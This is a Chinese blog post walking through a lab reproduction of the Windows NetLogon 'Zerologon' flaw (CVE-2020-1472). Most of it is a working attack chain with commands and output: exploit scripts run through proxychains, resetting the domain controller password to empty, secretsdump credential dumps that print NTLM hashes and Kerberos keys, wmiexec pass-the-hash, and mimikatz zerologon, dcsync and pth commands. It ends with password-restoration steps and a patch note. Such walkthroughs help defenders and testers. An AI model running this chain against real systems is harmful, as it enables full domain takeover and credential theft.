首发于Note
Windows NetLogon 权限提升漏洞复现(CVE-2020-1472)

Windows NetLogon 权限提升漏洞复现(CVE-2020-1472)

漏洞描述

NetLogon 远程协议是一种在 Windows 域控上使用的 RPC 接口,被用于各种与用户和机器认证相关的任务。最常用于让用户使用 NTLM 协议登录服务器,也用于 NTP 响应认证以及更新计算机域密码。

影响范围

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows Server 2012

Windows Server 2012 (Server Core installation)

Windows Server 2012 R2

Windows Server 2012 R2 (Server Core installation)

Windows Server 2016

Windows Server 2016 (Server Core installation)

Windows Server 2019

Windows Server 2019 (Server Core installation)

Windows Server, version 1903 (Server Core installation)

Windows Server, version 1909 (Server Core installation)

Windows Server, version 2004 (Server Core installation)

漏洞原理

Netlogon协议身份认证采用了挑战-响应机制,其中加密算法是AES-CFB8,并且IV默认全零,导致了该漏洞产生。又因为认证次数没做限制,签名功能客户端默认可选,使得漏洞顺利被利用。

具体漏洞分析可参考这里

漏洞复现

使用之前搭建的域环境,搭建教程可参考往期文章。

域内普通机器:
win7 双网卡,可出网 
172.16.19.129(出网ip) 
10.251.251.140(内网ip)
域控:
winserver 2012 
10.251.251.141(内网ip)
域控名称为:dc

为演示域环境内,在win7上使用ew创建代理,攻击机使用proxychains4进行连接。

漏洞工具下载

github.com/striveben/CV

检测漏洞

proxychains4 python3 zerologon_tester.py dc 10.251.251.141

#输出结果
Success! DC can be fully compromised by a Zerologon attack. #证明存在该漏洞

重置域控账户密码

proxychains4 python3 cve-2020-1472-exploit.py DC 10.251.251.141

#输出结果
Target vulnerable, changing account password to empty string

Result: 0

Exploit complete! #重置成功

此时域控密码为空,相当于已知密码,故可导出域内所有用户凭据

使用Impacket库中的相关工具即可。

Impacket是用于处理网络协议的Python类的集合。Impacket专注于提供对数据包的简单编程访问,以及协议实现本身的某些协议(例如SMB1-3和MSRPC)。数据包可以从头开始构建,也可以从原始数据中解析,而面向对象的API使处理协议的深层次结构变得简单。该库提供了一组工具,作为在此库找到可以执行的操作的示例。

secretsdump.py:执行各种技术从远程机器转储Secrets,而不在那里执行任何代理。对于SAM和LSA Secrets(包括缓存的凭据),然后将hives保存在目标系统(%SYSTEMROOT%\ Temp目录)中,并从中读取其余数据。对于DIT文件,我们使用dl_drsgetncchanges()方法转储NTLM哈希值、纯文本凭据(如果可用)和Kerberos密钥。它还可以通过使用smbexec/wmiexec方法执行的vssadmin来转储NTDS.dit.如果脚本不可用,脚本将启动其运行所需的服务(例如,远程注册表,即使它已被禁用)。运行完成后,将恢复到原始状态。

proxychains4 secretsdump.py test.rb/dc\$@10.251.251.141 -no-pass

#输出结果
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets

Administrator:500:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:244bd875ef75ae2abda0bd3d196760de:::
test.rb\LI:1106:aad3b435b51404eeaad3b435b51404ee:383fe399326a954a97f73781553ae73d:::
test.rb\TANG:1107:aad3b435b51404eeaad3b435b51404ee:383fe399326a954a97f73781553ae73d:::
DC$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
LI$:1104:aad3b435b51404eeaad3b435b51404ee:29e22cd788467a9aeeb02bab70536a96:::
TANG$:1105:aad3b435b51404eeaad3b435b51404ee:dd60283de5e671d888c28884b36c32f1:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:d8e8ad93f098961287380f70b065d493bcf76ea8c48104f0c9438bb36be6a077
Administrator:aes128-cts-hmac-sha1-96:e26bbfaf45c0607aed7e8b6835ace3f1
Administrator:des-cbc-md5:5783703eb5733ebc
krbtgt:aes256-cts-hmac-sha1-96:25fbe5f8b103aad2255c4571ea783c80280b05c987323153dd495c2bb5e7f18a
krbtgt:aes128-cts-hmac-sha1-96:5837b368c300cadf8cc668cfed929609
krbtgt:des-cbc-md5:3491d36bb373456d
test.rb\LI:aes256-cts-hmac-sha1-96:6233e965bf65aada1e2708f12b9fa52ff66b6fa63fd9773a074785cd9c144670
test.rb\LI:aes128-cts-hmac-sha1-96:7b6e0d0644daef1c5ba0348c1ab3f5af
test.rb\LI:des-cbc-md5:ce7ac72a23df20a8
test.rb\TANG:aes256-cts-hmac-sha1-96:0f21b4e818d7f275f448a438881f41adeffbf78a77055242c97ebcf7a349631f
test.rb\TANG:aes128-cts-hmac-sha1-96:e8bd409f26609922105bfe1541626b91
test.rb\TANG:des-cbc-md5:15bf1f2f4526327f
DC$:aes256-cts-hmac-sha1-96:e3435ec23190238601aa738b9a077c6443ecf09b37dedd0c78c4feb7680a3d90
DC$:aes128-cts-hmac-sha1-96:b672370ce57073f073c9b0a755278890
DC$:des-cbc-md5:252c3789d36204d0
LI$:aes256-cts-hmac-sha1-96:aa14e964d83b630564316081d41598f9cc27a8794175560c71a47efe26cbf633
LI$:aes128-cts-hmac-sha1-96:37089b1d0672afd861d95560694c373b
LI$:des-cbc-md5:fbcb678589bf15bc
TANG$:aes256-cts-hmac-sha1-96:dca8e4b55b7eb57132267b2caf0afce024b97f61bd8f6df9df499dd64da6a490
TANG$:aes128-cts-hmac-sha1-96:260b33da21e7477a11928720773218d8
TANG$:des-cbc-md5:100d52cec18fe092
[*] Cleaning up...

导出域管的hash

proxychains4 secretsdump.py test.rb/dc\$@10.251.251.141 -no-pass -just-dc | grep 'Administrator'

#输出结果
Administrator:500:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
Administrator:aes256-cts-hmac-sha1-96:d8e8ad93f098961287380f70b065d493bcf76ea8c48104f0c9438bb36be6a077
Administrator:aes128-cts-hmac-sha1-96:e26bbfaf45c0607aed7e8b6835ace3f1
Administrator:des-cbc-md5:5783703eb5733ebc

已知域管hash,通过wmic 拿到域控制器中的本地管理员权限

wmiexec.py是通过Windows Management Instrumentation使用的半交互式shell,它不需要在目标服务器上安装任何服务或代理,需以管理员身份运行,隐蔽行好。

proxychains4 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24 test.rb/Administrator@10.251.251.141

#输出结果
[!] Press help for extra shell commands
C:\>whoami
test\administrator

恢复

在空密码导出域内所有用户hash时,(secretsdump.py test.rb/dc\$@10.251.251.141 -no-pass)获取到administrator的hash。

在恢复时,可利用administrator的hash获取域控服务器sam中的MACHINE.ACC中的dc的hash,然后对dc中的WIN2008的hash进行恢复即可。也就是说secretsdump可以直接远程获取MACHINE.ACC中的hash回来,省去用reg、本地解sam的很多步骤。(新版的impacket有获取plain_password_hex的功能,pip源中的旧版是没有的,可github下载最新。)

proxychains4 secretsdump.py test.rb/administrator@10.251.251.141 -hashes aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24


有时会发现在MACHINE.ACC中不存在plain_password_hex,这时候需要用刚刚wmic拿到的域控本地管理员权限去导出sam数据库中原来的计算机hash

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save


利用导出的sam数据库,提取域控账号的明文hex

proxychains4 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL


利用提取的明文hex,进行最后的恢复操作

proxychains4 python3 restorepassword.py DC@DC -target-ip 10.251.251.141 -hexpass 139fbb5fe05cb1b3e6a69930800c3557cb47b21d0a36a40699afe98e4d588820b2f37168f620d31bd451be2ee96a5bca951ab2bd7057c0828d2e923db42389bfc455a325eb8283df724c331ae036b4b838fbedf42033dd4dae4ee2235e01377d9db8ccae08164b29d0df5a78fba39bb86559e15147e0dcbb12bb6059009174a379b46500689f8465d209fd1d0e8092d46bbe061cdd6840d1b69835debef38360cd469e8795cc48a70f51d3157891489eef2522493d7388bd8f147b2b3f10a58e0833bb2c5127d7c9bdc20d363a2c3cf4798c060f3eb2cb134c2d4438b06c620083dc9d57c1e7c2829d9271dab50e2018

mimikatz 方式

github.com/gentilkiwi/m

检测是否存在该漏洞

mimikatz.exe "privilege::debug" "lsadump::zerologon /target:10.251.251.141 /account:dc$"


使用exp进行攻击

mimikatz.exe "privilege::debug" "lsadump::zerologon /target:10.251.251.141 /account:dc$ /exploit"

如下提示表示攻击成功:


获取域管hash:

lsadump::dcsync /domain:test.rb /dc:dc.test.rb /user:administrator /authuser:dc$ /authpassword:"" /authntlm


进行pth攻击:

privilege::debug

sekurlsa::pth /user:Administrator /domain:DC /rc4:161cff084477fe596a5db81874498a24

执行成功会弹出新的cmd:


恢复密码

lsadump::postzerologon /target:10.251.251.141 /account:dc$


修复方案

打补丁

可在微软官方下载对应版本的补丁包进行安装。

portal.msrc.microsoft.com

发布于 2020-09-26 16:52